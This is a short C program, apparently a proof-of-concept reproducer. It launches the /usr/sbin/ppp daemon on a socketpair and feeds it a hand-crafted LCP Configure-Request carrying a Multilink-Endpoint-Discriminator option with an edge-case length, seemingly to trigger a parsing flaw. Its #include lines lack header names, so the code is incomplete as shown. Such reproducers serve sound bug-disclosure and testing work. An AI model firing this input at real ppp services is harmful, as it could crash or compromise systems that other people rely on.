#include #include #include #include #include #include #include #include #include #include #include #include int main() { signal(SIGPIPE, SIG_IGN); int fds[2]; if(socketpair(AF_UNIX, SOCK_STREAM, 0, fds) < 0){ perror("socketpair"); exit(1); } int pid = fork(); if(pid == 0){ close(fds[0]); close(0); dup2(fds[1], 0); close(fds[1]); execl("/usr/sbin/ppp", "ppp", "-nat", "-direct", (void*)0); perror("execl"); exit(1); } close(fds[1]); unsigned char buf[] = { 0x7e, 0xc0, 0x21, // LCP 0x01, 0x01, // code=Configure-Request, ID=1 0x00, 0x06, // length 0x13, 0x02, // 0x13=Multilink-Endpoint-Discriminator, 2=length 0x6b, 0x94, // HDLC checksum 0x7e }; for(int i = 0; i < sizeof(buf); i++){ printf("%02x ", buf[i] & 0xff); } printf("\n"); int wr = write(fds[0], buf, sizeof(buf)); if(wr < 0) perror("write"); usleep(500000); close(fds[0]); }